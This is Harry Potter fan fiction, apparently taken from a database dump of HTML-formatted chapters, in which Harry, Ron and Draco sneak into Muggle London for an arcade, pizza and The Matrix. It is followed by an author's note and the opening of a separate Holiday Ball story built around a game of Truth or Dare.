across the grass and into the sand pit below the scoring rings. After coming to a stop, he looked up weekly to see Allan above him, looking down. “Geeze, no wonder you almost always win!”</p> <p> </p> <p>Harry gave him a weak lopsided smile. “Let me tell you something about winning.” He said lightly as Colin Screamed out that Harry had indeed caught the snitch. “Winning hurts like hell.”</p> <p> </p> <p>Allan couldn’t help the laugh that rang out then. A few moments later the Gryffindor team surrounded him and helped him up, getting a few pains of protest as they did so. Allan flew over to his team mates and shrugged helplessly. They, in kind, all congratulated their new seeker on the daring dive he did to try and win it for them. </p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“So doctor, will I live?” Harry asked Ginny as Ron carried him piggy back style to the hospital wing. Hermione laughed lightly, but Ginny sighed.</p> <p> </p> <p>“I swear, you and Draco make up fifty percent of all the injuries I’ve ever had.” The door to the hospital wing opened and they walked in. “Madam Pomfrey? Harry –idiot- Potter is back again!”</p> <p> </p> <p>Madam Pomfrey walked up to them as Ron deposited his friend lightly on a bed. “Harry!” She greeted it’s been almost three days since I saw you, I was wondering if you left school or something!”</p> <p> </p> <p>“Nah,” Harry grinned as he was scanned over with a wand. “Hermione here has kept me in the library almost all week.”</p> <p> </p> <p>“Well, miracles do happen.” Ron spoke airily.</p> <p> </p> <p>“Hardy-har-har-har.” Hermione rolled her eyes. “Is he okay?” She asked, referring to Harry and ignoring the other comments made by Ron.</p> <p> </p> <p>“Oh he’ll be fine. Just his usual Quidditch injuries. You know, ninety percent bruised and banged up.” He gave him a potion. “Drink this and take it easy for a day and you’ll be as good as new.”</p> <p> </p> <p>“Thanks.” Harry pinched his nose and gulped down the vinegar tasting potion he was given. “Ahhhhh” He licked his lips, playing like he enjoyed it. “That hit the spot.”</p> <p> </p> <p>“Considering you threw up the first time I gave it to you.” Pomfrey smiled at him. “Now get out of here, I should have a dozen or so people complaining about bludger injuries after the parties die down.”</p> <p> </p> <p>“Thanks, bye!” Harry slid from the bed and walked gingerly to the door. “Those potions never work fast enough…”</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“Hermionnnnnneeeeeeeee……” Harry leaned back in his chair. “I’m booorrrrreeeeddddd….. Can’t I go play now?”</p> <p> </p> <p>“No, we still have another half hour.” Hermione replied easily, writing down something on a piece of parchment. “You’ll thank me when the N.E.W.T.s comes.”</p> <p> </p> <p>Harry groaned and leaned back forward, looking back at the book on potions. “Snape’ll fail me anyways…”</p> <p> </p> <p>Ron gave him a small grin over the top of his Transfiguration book. </p> <p> </p> <p>                                                                                                ~**~</p> <p> </p> <p>“All right!” Dean shouted as he entered the Common room. “N.W.O rules baby! Sweeeeeet!”</p> <p> </p> <p>“Congratulations on beating the Blitz team.” The first year Steve shouted out over the ruckus. </p> <p> </p> <p>“Keep this up and we’ll have to fight soon.” Harry grinned, putting an arm around Seamus’ neck and giving him a nuggie. </p> <p> </p> <p>“Ah, we’ll beat you any day!” Seamus pulled out of it and turned it into a headlock on Harry. “Give up!?”</p> <p> </p> <p>“Ha ha, I give! I give!” Seamus let Harry go and the two grinned at each other and did a few playful jabs.</p> <p> </p> <p>                                                                                                ~**~</p> <p> </p> <p>“I can’t believe there are only three more months until the N.E.W.Ts!” Harry exclaimed at the library table. It was around seven at night, but the table held at least twenty five, if not thirsty people on it. “Where did the time go?”</p> <p> </p> <p>“Right out the window.” Ken, a seventh year Ravenclaw, said without really paying attention. “Yo, Ryu, how do you do this?” His friend looked at the book before taking out his wand and showing him how to transform a non living thing into a bird.</p> <p> </p> <p>“This is rough…” Ron said worriedly; hand in his hair as he looked over his transfiguration book as well. “There’s no way I can do this.”</p> <p> </p> <p>“Sure you can.” Hermione encouraged, leaning over to look at what he was having problems with. “It’s easy. You just need to remember…”</p> <p> </p> <p>Harry sighed at his Divination book. Knowing neither Ron nor Hermione would be of help, and Celestial was already asleep after a long day of sorcerer training, Harry knew he would be on his own. Sighing, He scanned the long table for anyone who also had a Divination book out. Finding one, he got up and walked over to the girl. “Hey.”</p> <p> </p> <p>The girl jumped lightly before blushing at him. “Hi.”</p> <p> </p> <p>“I’m Harry.” He said, sitting in front of her.</p> <p> </p> <p>“I know. I’m Lina.” She replied, still somewhat shocked Harry Potter would be talking to her. She wasn’t the prettiest of girls after all.</p> <p> </p> <p>“Lina, are you good in Divination?” He asked desperately, not noticing her embarrassment at being around him. “I’m lost.”</p> <p> </p> <p>“Huh? Yeah, sure, it’s my best class.”</p> <p> </p> <p>“Really!?” He suddenly smiled happily. “‘Cause I suck at it! Will you help me?”</p> <p> </p> <p>She laughed. “Sure. What do you need help on?”</p> <p> </p> <p>Harry looked slightly embarrassed. “Um, all of it?”</p> <p> </p> <p>Lina gave him a small smile. “Come on now, really.” The way that Harry kept that lopsided smile on his face told her that he wasn’t kidding. “Oi! It’s three months until the test and you really don’t understand <i>any</i> of it!? Ho did you pass until now!?”</p> <p> </p> <p>“Easy, I just predicted Voldemort’s-” Lina gasped at the name, but Harry continued as if nothing happened. “Attacks and when he did, she passed me. It won’t work on the N.E.W.Ts, though…”</p> <p> </p> <p>“Okay, but this will take a while.” Lina realized that he was just a student having problems, like anyone else. “Turn to page forty, that’s where we can start.”</p> <p> </p> <p>“Okay.”</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“I see you made a new friend.” Hermione said as they got ready for bed. “Lina, right? From Ravenclaw?”</p> <p> </p> <p>“Yeah.” He agreed, pulling off his robes and chunking them over his shoulder into his dirty cloths corner. “You would like her, she’s really book smart.”</p> <p> </p> <p>“I’ve ran into her a few times at the library.” Hermione admitted as she picked up the top half to Harry’s favourite pajama set. “She’s really shy and doesn’t have many friends. Not really outgoing.”</p> <p> </p> <p>“Kind of like you was back in first year.” Harry mused to himself, putting on the pajama pants. The two looked at each other and laughed at their appearance. </p> <p> </p> <p>“Yes, I suppose so.” Hermione sat on her bed and laid back. “She’s like me in some ways…” He voice trailed off at the end.</p> <p> </p> <p>“Jealous?” Harry asked, sitting at her feet and looking over at her. </p> <p> </p> <p>“Me? Jealous? Ha!” He arched an eyebrow at her, making her sniff. “I know you would never cheat on me, but a girl can still worry, right?”</p> <p> </p> <p>Harry laughed and lay on top of her, supporting himself with his arms on either side of her. “Don’t worry.” He bent down and kissed her neck, getting a purr. </p> <p> </p> <p>“If I worry more, do I get another kiss?”</p> <p> </p> <p>Harry laughed deep in his throat.</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“Go-od mor-nig!” Harry sang/spoke as he walked into the seventh year dorms, greeting his friends. He was fresh out of the shower (having taken one in the Gryffindor bathroom instead of the prefects, as Hermione was having a before breakfast study group with a few girls in the tower) “Good morning to you!” he pointed to Ron. “And you!” Seamus. “And you and you!” Dean and Neville blinked.</p> <p> </p> <p>“Why are you in such a good mood?” Dean asked, raising an eyebrow.</p> <p> </p> <p>“I dunno!” Harry grinned as he put on his pants and jumped, pulling them up. “Do I seem <i>happy</i>” he tossed the towel into Ron’s hamper. “To you?”</p> <p> </p> <p>“You’re bouncing around like your Richard-freaking-Simons.” Seamus informed him</p> <p> </p> <p>“You do seem abnormally light hearted this morning, Harry.” Neville chipped in.</p> <p> </p> <p>“Maybe it’s because I had the time of my life last night!” Harry beamed. “Twice!” he smacked Ron with his shirt before putting it on. “And once for this morning.” </p> <p> </p> <p>Dean leaned forward. “You had sex with Hermione!?” He shook his head. “Three times? No way.”</p> <p> </p> <p>“Not sex, but something just as good.”</p> <p> </p> <p>“And you came in here just to brag about it?”</p> <p> </p> <p>“Yup!”</p> <p> </p> <p>Realization hit Seamus’ eyes and he shook his head. “No way. Hermione? Never.”</p> <p> </p> <p>“Wanna bet?”</p> <p> </p> <p>“Oh like I’m going to bet money on something you can’t prove.”</p> <p> </p> <p>Harry grinned and looked to the wall that would connect to his room.</p> <p> </p> <p>Ron quickly shot up on his bed. “You recorded Hermione’s thoughts in the book, didn’t you!?”</p> <p> </p> <p>Instantly the group of friends darted to the door in hopes of getting the book from the prefect’s room. “No! No, I didn’t! GUYS!”</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“Morning!” Hermione called happily to her friends at the breakfast table. “How is everyone today?” She sat down with a smile.</p> <p> </p> <p>Neville blinked a few times, looking up at her. Leaning over to his side, he whispered to Seamus. “Does she look like she’s glowing to you?”</p> <p> </p> <p>Seamus looked over to Ron, who was also blinking at the cheery greeting. Upon closer inspection of his friend, Ron noticed something. “Hey Hermione…” </p> <p> </p> <p>“Hmm?” She hummed happily as she took a drink of orange juice.</p> <p> </p> <p>“Is that a hickey on your neck?”</p> <p> </p> <p>Hermione spit out her drink and grabbed her neck. “No! Of course not! Why would you think that!?”</p> <p> </p> <p>“Ewwwwww…..” Dean and Seamus chorused at the same time, wiping spewed drink off them. “Gross!”</p> <p> </p> <p>The other people around the girl laughed heartily, making her blush deep crimson.</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p> </p> <p>“Oi, Harry, are you sure we should do this?” Ron asked as they ran through the underground passage to Hogsmeade. It was Wednesday, which meant both Harry and Ron were free for most of the day. Having nothing better to do, they decided to go to Hogsmeade. Upon hearing that, Harry decided to make it go a step farther and proclaimed they would sneak into Muggle London by flu.</p> <p> </p> <p>“Sure I’m sure.” Harry replied easily as they ran. The faster they made it to Hogsmeade, the longer that could stay in London.</p> <p> </p> <p>“This is insane.” Came another voice, following them.</p> <p> </p> <p>“No one asked you to come, Malfoy.” Ron quipped, but didn’t sound as if he was annoyed. Although still on a last name basis, he respected him enough to make Ginny happy.</p> <p> </p> <p>“No, I mean this passage! I never knew…”</p> <p> </p> <p>“Oh yeah,” Harry jumped a pot hole in the ground, as did Ron. Draco almost tripped in it, not being as familiar with the passage as the other two. “This is just our favourite one. You should see the other 3.</p> <p> </p> <p>“There are <i>four</i>!?”</p> <p> </p> <p>“Well, one is under the whomping willow.” Ron mused. “And the other caved in. So in reality there are two. This just happens to be the best.”</p> <p> </p> <p>“You <i>really</i> have to let me borrow those glasses sometime.” Draco mused as they slowed down. “Now what?”</p> <p> </p> <p>“We’re there.” Harry replied, opening the trap door. “Now the fun part. We got to sneak out without being seen.”</p> <p> </p> <p>“Harry!?”</p> <p> </p> <p>Harry turned, just in time to see Fred’s face. “George?”</p> <p> </p> <p>“Fred.”</p> <p> </p> <p>“Fred?”</p> <p> </p> <p>“No, I’m George.” Came another voice.</p> <p> </p> <p>“Using the passage I see.” Came Fred’s voice.</p> <p> </p> <p>“Hey guys.” Ron peeked his head out. “You never told me you got the job offer here.”</p> <p> </p> <p>“Started today.” George grinned, helping them out of the trap door. Draco jumped up on his own. “You three off to stir up trouble.</p> <p> </p> <p>“Oh yeah.” Harry grinned. “We’re going to muggle London!”</p> <p> </p> <p>“We can help you there.” Fred smirked. At the look on Ron and Harry’s face, he raised an eyebrow. “Thought you three would be the first to sneak into London while you were at school?”</p> <p> </p> <p>“Well…”</p> <p> </p> <p>“Yeah, actually.”</p> <p> </p> <p>“Amateurs…”</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“I don’t bloody believe it.” Ron said as he looked around. “Who would have thought the ministry never found out about the un-used flu network opening in Hogsmeade!? It took us <i>straight</i> here!”</p> <p> </p> <p>“This is muggle world, huh?” Draco asked, looking around. “What now?”</p> <p> </p> <p>“First, we get cloths.” He took out his wallet and counted his money. “I have enough to get Draco some jeans and a shirt. You can pay me back later.”</p> <p> </p> <p>The three began walking down the street. Draco got a lot of stares from people at his choice of clothing. It was already warm and the seventeen year old boy was wearing all black and a robe on top of it. Harry had put his robe in Zonko’s cellar, as did Ron. He was clad in blue jean shorts with an untucked black shirt and his necklace. He wore his normal New Balance sneakers and ankle socks. Ron was sporting a maroon tank top that showed off his developed arms. He also wore shorts, but had on sandals. He kind of looked like a surfer. Luckily there was a lake nearby at the edge of town, so he wasn’t given any looks (save a few girls)</p> <p> </p> <p>“Let’s go in here.”</p> <p> </p> <p>“The GAP?” Draco asked, walking in. “Weird name…”</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“I feel like an idiot.” Draco growled to Ron as they walked around. He was now clad in black skateboarding shots as well as a green tee shirt that had the sleeves ‘torn’ off to give the frayed look. Around his neck he wore a black and dark green beaded necklace and brand name sunglasses covered his eyes. He had his robe tied around his waist, making it look like a jacket. A little odd considering the warm weather, but still passed off easily as a fashion statement. </p> <p> </p> <p>“You look like a skater boy.” Harry grinned, trying to be sure to make it sound like a very good thing. “With the pony tail you’re kind of punkish too.”</p> <p> </p> <p>“And <i>that</i> means…?”</p> <p> </p> <p>“You look cool.” Ron answered. “You don’t hang out with Harry for years without learning a few things about muggles.”</p> <p> </p> <p>“And the first rule of that issssss?” Harry asked, looking at him.</p> <p> </p> <p>“Keep everything wizarding away from site and don’t refer to it or say ‘muggle’”</p> <p> </p> <p>“Exactly.” Harry nodded, looking at Draco. “You do the same. Keep your wand in your pocket and cast no, I mean <i>no</i> magic. Don’t even mention it.”</p> <p> </p> <p>“Right.” Draco shrugged Harry away from him. “I’m not an idiot.” Suddenly something caught his eye. “Hey, look, someone is trapped inside that box!”</p> <p> </p> <p>“It’s a T.V. Harry said, rolling his eyes. It shows movies and such. Entertainment.”</p> <p> </p> <p>“Cool, what’s that?”</p> <p> </p> <p>Ron sighed. “A radio. Like out wireless.”</p> <p> </p> <p>“And that!?”</p> <p> </p> <p>“A skateboard.”</p> <p> </p> <p>“A skateboard, huh….?</p> <p> </p> <p>                                                                                                                                ~**~</p> <p> </p> <p>“This is great!” Draco shouted out, as the three skateboarded through the street, getting many angry shouts. Even though the streets were practically empty (being as how most were still lat work), the few people scattered around gave the three ‘punks’ a glare when they passed.</p> <p> </p> <p>“Now what?” Ron asked, kicking the ground and getting next to Harry. All three had taken to the boards with relative easy; being as how they balanced on a broomstick like it was second nature.</p> <p> </p> <p>“We hit an arcade and blow all of the money we got transferred!”</p> <p> </p> <p>“What’s an arcade?”</p> <p> </p> <p>Ron and Harry grinned.</p> <p> </p> <p>                                                                                                                                ~**~</p> <p> </p> <p>“Are you sure this isn’t magic?” Draco asked, looking at the massive arcade/fun land place they were in. It was called “Ultra Zone” or something like that. In the back was a laser tag arena.</p> <p> </p> <p>“Nope.” Harry grinned as he looked around. This is an arcade.” He dropped his voice really low. “While our kind researched potions and new spells, the muggle word uses ‘science’ to make things. This is an entertainment part of that ‘science’.” </p> <p> </p> <p>“I see.” Draco and the rest put their skateboards by the entrance and walked around. “Weasley, you’re used to this?”</p> <p> </p> <p>“Huh?” he looked back after getting tokens for a bill. “Yeah. Harry takes Hermione and me places like this all the time during the summer.” He pointed to his left, where a Dance Dance Revolution game was. “That’s how I learned to dance, when the twins didn’t teach me.”</p> <p> </p> <p>“You should see Hermione.” Harry grinned, walking up to them. “She doesn’t fast dance in front of people, but here she’ll cut up like you wouldn’t believe!” </p> <p> </p> <p>“Granger?” He asked, amazed. “No way!”</p> <p> </p> <p>“Shall we?” Ron asked, holding up a token.</p> <p> </p> <p>“Let’s shall!”</p> <p> </p> <p>Draco watched as the two stood on the machine and put in their tokens. “Show me your best moves!” a voice suddenly called out. After a second, Draco realized the thing they were standing on had said it. “Show me your best mosh!” Intrigued at the device, Draco stood next to them and observed. “Heavy mode! Rocking!” the two looked through the list of songs and selected one. “Into the Night! Keep dancing baby!”</p> <p> </p> <p>Draco stepped back as the screen the two were looking at started flashing with arrows, to which they dances to on the pad they were standing on. “By the three goddesses…” Draco muttered, watching. “Will wonders never cease!?”</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“I’m getting kind of hungry.” Ron said after a while. </p> <p> </p> <p>Draco was currently playing (and actually doing pretty good) Street Fighter EX3.  “Me too, actually.” He admitted just as he lost a very close round against M. Bison. “Damn it!” he slammed his hands on the controls. “I swear, this thing is rigged!”</p> <p> </p> <p>“Let’s go get some food.” Harry said, pulling Draco away from the game that taunted him with “Don’t give up now! Continue!?”</p> <p> </p> <p>Harry shoved Draco’s skateboard onto his chest, making him forget about the game the now proudly flashed “GAME OVER!” in big red letters.</p> <p> </p> <p>“How about that hamburger joint?” Ron asked as they skated outside and down the sidewalk.</p> <p> </p> <p>“Maybe something a little more... appropriate since this is Draco’s first time out in the world by himself?”</p> <p> </p> <p>Ron grinned. “Pizza!”</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“This is good?” Draco asked, looking at the large pizza placed in front of him. “You sure?”</p> <p> </p> <p>“Yup.” Ron took a slice, making the hot cheese stretch out. A quick swipe with his hand grabbed it and took it with him.</p> <p> </p> <p>“What does it do?”</p> <p> </p> <p>“Do?” Harry asked, grabbing a slice. “It doesn’t <i>do</i> anything. You just eat it.”</p> <p> </p> <p>“It doesn’t turn you into an animal or something?”</p> <p> </p> <p>“No.” Ron answered, taking a bite.</p> <p> </p> <p>“It doesn’t explode inside your stomach?”</p> <p> </p> <p>“Nope.” Harry ate some.</p> <p> </p> <p>“You just… eat it?”</p> <p> </p> <p>“Yup.” They both answered at the same time. “No charms to make it taste better, nothing that keeps it warm, nothing to add different flavors. Just down home good food.”</p> <p> </p> <p>Draco took a slice and held it in his hands, blowing on it a bit to cool it. With one last look at the pair, he took a bite. “Ow! Hot!”</p> <p> </p> <p>Harry laughed. “Cheese stick to the top of your mouth?”</p> <p> </p> <p>Draco nodded, grabbing his drink and chugging some without even thinking. “Ah, that’s better….hey this is good.”</p> <p> </p> <p>“It’s called Dr Pepper.” Harry nodded, drinking some Sprite. “It’s a carbonated drink, that’s why it looks like bubbles are in it.”</p> <p> </p> <p>“I see.” Draco nodded, eating some more pizza. “This is nice.”</p> <p> </p> <p>Ron rolled his eyes. “Was I <i>that</i> bad?”</p> <p> </p> <p>Harry smirked. “You were like a kid on Christmas morning the first time me and Herms took you out. Quite embarrassing really.”</p> <p> </p> <p>Ron looked offended. “Hey! I was only fifteen!”</p> <p> </p> <p>Harry, and to their amazement, Draco laughed.</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“So that’s what a ‘movie’ is.” Draco mused as they walked out of the theater after just seeing <i>The Matrix</i>. I didn’t know people could <i>do</i> that!”</p> <p> </p> <p>Harry laughed at him. “It was a movie, my friend.” Draco was about to tell him that he <i>knew</i> that, but Harry continued in a lower voice. “Remember how I told you that muggles use science to do things?” Draco nodded at him. “They can edit what they video tape to make it look like that.”</p> <p> </p> <p>“So people really can’t jump buildings, fly, or fight like that?”</p> <p> </p> <p>“I’m sure <i>we</i> could if we had the right spell.” Ron interrupted. “But Muggles, no.”</p> <p> </p> <p>“We should get back.” Harry stated, looking up at the sky. “I’ll get dark soon. We need to show up for dinner so nobody thinks anything about not seeing us all day.”</p> <p> </p> <p>“We just ate, man.”</p> <p> </p> <p>“Trust us.” Ron put his hand on Draco’s shoulder. “It’s a Long walk, remember?”</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>But it, in fact, turned out to be a relatively short walk. With their skateboards, the group made it back to the fireplace and into Hogsmeade in record time. Running to Zonko’s and ignoring the strange look on their clothing, they made their way back to the back of the store and grabbed their robes. Draco bit back an embarrassed look when he remembered he had his around his waist. </p> <p> </p> <p>Now clad in wizarding looks once again, the trio slid into the cave and ran back towards the school.</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“Hello guys.” Hermione greeted them as they walked down the hallway. “On your way to dinner?”</p> <p> </p> <p>“Er,” Harry thought of something to say. “Actually, I need to …drop off some stuff in my room first. We’ll be down in a bit.”</p> <p> </p> <p>“Oh nonsense.” She told him, looking her arms through her two ‘boyfriends’. “Come on, Malfoy, Ginny will be happy to see you. You have been gone all day.”</p> <p> </p> <p>Ron gave Harry the “We got to keep our robes on so no one will see our cloths” look, to which he nodded. Draco, it seemed, was aware of this as well.</p> <p> </p> <p>The trio and the tag along friend-in-making entered the Great Hall a few moments later. Their friends waved to them as they walked along. Draco big them a farewell with a cut nod and made his way over to his table.</p> <p> </p> <p>“Hey Draco.” Jena greeted him, patting the place next to her. </p> <p> </p> <p>“Hey Jena.” He greeted weakly, making sure to cover his cloths with the robe he was wearing.</p> <p> </p> <p>“Aren’t you hot?” one of the girls next to Jena asked, raising an eyebrow. “You can take off your robe after classes, you know.”</p> <p> </p> <p>“Um, I’d rather not…I, er, spilled something on my shirt…”</p> <p> </p> <p>“I can fix that, sweets.” Jena said, taking out her wand. “Let me see.”</p> <p> </p> <p>“Don’t call me sweets!”</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>Harry ate lightly, sweating a little as he did so. The great hall was rather warm that night thanks to a warm front that was passing through. Ron didn’t look any better. Running through the stuffy passage didn’t help them any either.</p> <p> </p> <p>“Are you two okay?” Hermione asked, worried. She was sitting between the two like usual, giving them a worried look.</p> <p> </p> <p>“Yeah,” Lavender added, placing her hand over Ron’s forehead. “You look a little hot, dear. Why not take off your robe for a bit?”</p> <p> </p> <p>Ron looked over at Harry, who knew first hand what it was like to wear muggle clothing at Hogwarts. The only reason he kept his robes on was for Hermione. She knew he didn’t wear shorts unless he was going outside to Hogsmeade or a marauding trip. Pair that with the fact Ron didn’t want to take his robes off (Being a ‘pure blood’ family and not wearing muggle cloths), she would scold them for hours about sneaking off during school…..especially when they were <i>supposed</i> to have been In the library studying with her.</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>“I thought I was going to suffocate!” Ron exclaimed as he pulled off his robes when they were in the seventh year dorm room.</p> <p> </p> <p>“Better than having Hermione yell about ‘lack of responsibility’” Harry replied, pulling his off as well. </p> <p> </p> <p>“<i>You’re lucky </i>I<i> don’t scold you.</i>” Celestial told his mind. “<i>You are </i>so<i> irresponsible.</i>”</p> <p> </p> <p>                                                                                                                ~**~</p> <p> </p> <p>Ron grits his teeth as he was blasted by another lightening spell. Instead of crying out, however, he ran forward and jumped on the peak of a random rock jutting out of the ground. With his new height advantage, He had a clear view of Goyle, who was below him. Landing a sharp kick, the Slytherin boy passed out easily and the mountain region around him faded. </p> <p> </p> <p>The red head moved weakly to his team mates and nodded at them as they congratulated him on his fight. The score was most definitely not in their favour. One more win by the Dragon’s Fang group and the Marauders would lose… and they still had two more fights to go if they were going to win. This was th'),
	(118, 12, ' <p>Authors notes: Sorry for the delay, but I decided not to post chapter 12 in parts. The reason behind this is, it would take away from the emotions I&#8217;m trying to put into the next to last chapter. Yeah, there will be 13 chapters. Chapter 12 will focus on the last days at Hogwarts and chapter 13 will be&#8230;..well, Harry has an unkept promise doesn&#8217;t he? He&#8217;ll have to fix that. I have about 4,500 words of chapter 12 written as of right now, but I&#8217;m not sure how long this chapter will be. Depending on how I want to end this story (I&#8217;m juggling 2 ideas) , this chapter may be 10,000- 20,000 words. If I chose the other ending it&#8217;ll be 7,000-12,000. Still not sure of which I&#8217;ll use, but that&#8217;s part of life I guess. I&#8217;ll post chapter 12 as soon as it&#8217;s done. I&#8217;ll see everyone then. *bows*</p>\n\n<p>&nbsp;</p> '),
	(119, 1, '\n\n\n\n<p class="MsoNormal">Something Like You</p>\n\n<p class="MsoNormal">By: Nicole</p>\n\n<p class="MsoNormal">Rating: PG </p>\n\n<p class="MsoNormal">Ships- H/H, implied\nD/G (See where Ginny&#8217;s doing her dare to Ron),&nbsp;\nR/L (Lavender is Ron&#8217;s ball date)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(The song lyrics\nare in <i>italics</i>, Thoughts in <b>bold</b>. The story is set in\nMid-December 2 weeks before Christmas.)<i></i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\nSo many times I thought I had it in my hands\n\n<p class="MsoNormal">&nbsp;</p>\n\nBut just like grains of sand love slipped through my fingers\n\n&nbsp;\n\nSo many nights I asked\nthe Lord above\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Please make me lucky in love</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>To find a love that lingers</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>-N&#8217;Sync, Celebrity, #12 Something Like You</i></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~*~*~*~*~*~*~*~*~*~*~*</p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">As soon as Dumbledore had made the announcement about the\nHoliday Ball, Ron went right to Lavender Brown and asked her to the ball, which\nof course she accepted. Harry, however, was not having such an easy time of\nthings.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Actually, he already knew who he wanted to ask, though he had\nyet to ask her. After all, they&#8217;d been friends for years, so it shouldn&#8217;t have\nbeen a big deal. Except something at the end of last school year had changed\nbetween them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron&#8217;s advice was to just ask her during breakfast or lunch,\nbut Harry had chickened out both times, and to the suggestion of doing it at\ndinner he said a flat out &#8220;No way.&#8221; Lavender had talked with Parvati and their\nsuggestion had been to send her a bouquet of her favorite flowers with a note\nasking her to go to the ball. Not sure of where to get the flowers or much less\nwhat kind to get her, he&#8217;d wrote Sirius a letter asking his help. (A/N- The\nletter is also in bold.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>Dear Sirius-</b></p>\n\n<p class="MsoNormal"><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Since\nyou are in contact with Prof. Dumbledore, I&#8217;m sure you have heard about the Holiday\nBall. I have a bit of a problem with asking someone, and I&#8217;m wondering how I\nshould ask her, as I don&#8217;t want to ruin the friendship we already have.</b></p>\n\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Stay safe and say hi to\nProf. Lupin for me. &#8211; Harry\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal">He had promptly sent the letter off with Hedwig, and figured\nit shouldn&#8217;t take more than a day for an answer. Meanwhile, while he was\nwriting and sending his letter, Ron was having a bit of a meeting with Lavender\nand Parvati.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m telling you now, If we don&#8217;t take action, who will?\nHermione has no idea how he feels, and Harry&#8217;s too afraid of her rejecting him\nto tell her he likes her and to ask her to the ball. It&#8217;s bloody ridiculous!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron, Ron, calm down. First of all, what we need is a good\nplan. And, I&#8217;m going to come up with something. Can you get your brothers,\nGinny, Harry, and Hermione down in the Common Room after the others are in bed?\nAnd get Fred and George to bring Angelina, Katie, and Alicia too&#8230; Parvati, you\nget the other boys, I think Ron&#8217;s got enough people to ask. Anyway, once we get\neveryone there, this is what we&#8217;re going to do&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: I think that can end that scene. Don&#8217;t worry, I&#8217;m not\nthrough yet!)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~*~*~*~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, Hermione, I need to ask you something.&#8221; Ron ran up\nto them, very out of breath.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, don&#8217;t just stand there, Ron, ask us. We were studying\nbefore you got here.&#8221; Hermione gave him a look that looked for all the world\nlike McGonagall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(No, he hasn&#8217;t asked her yet, nor has he even told her he\nlikes her. Therefore, they have not been snogging. Yet&#8230;)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Some of the others have an idea for a casual party after\neveryone else is in bed tonight. I was told to get you two to be there. Say\nyou&#8217;ll come, if you don&#8217;t I&#8217;ll never live it down!&#8221; Ron was tempted by the look\non Hermione&#8217;s face to get down on his knees and beg.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I guess&#8230; but only if Harry will, too. Otherwise, I&#8217;m not\ncoming.&#8221; Hermione looked as if there was nothing unusual with her statement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine, fine. I suppose I&#8217;ll be there, since it does sound\nlike fun.&#8221; Harry had turned a little pink when Hermione said she&#8217;d only do it\nif he did too.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*~*~*~*~*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Finally, everyone had either gone to bed or, in certain\npeople&#8217;s cases, gone down to the common room for the party. Angelina Johnson,\nsince she was a 7th year and Prefect, cast a silencing charm so they\nwouldn&#8217;t be heard outside the common room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Finally, Lavender decided they were ready to begin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ok, you guys, we&#8217;re going to play a kind of muggle game\nthat only a few of us are really aware of. It&#8217;s called Truth or Dare. If you\nchoose a dare, but decide you don&#8217;t want to do it, you must reveal something\nthat you have told one person at the most. They may be in this group as well.\nJust to get started, I think I&#8217;ll do the first honors. Hmm&#8230; Ginny, truth or\ndare?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think 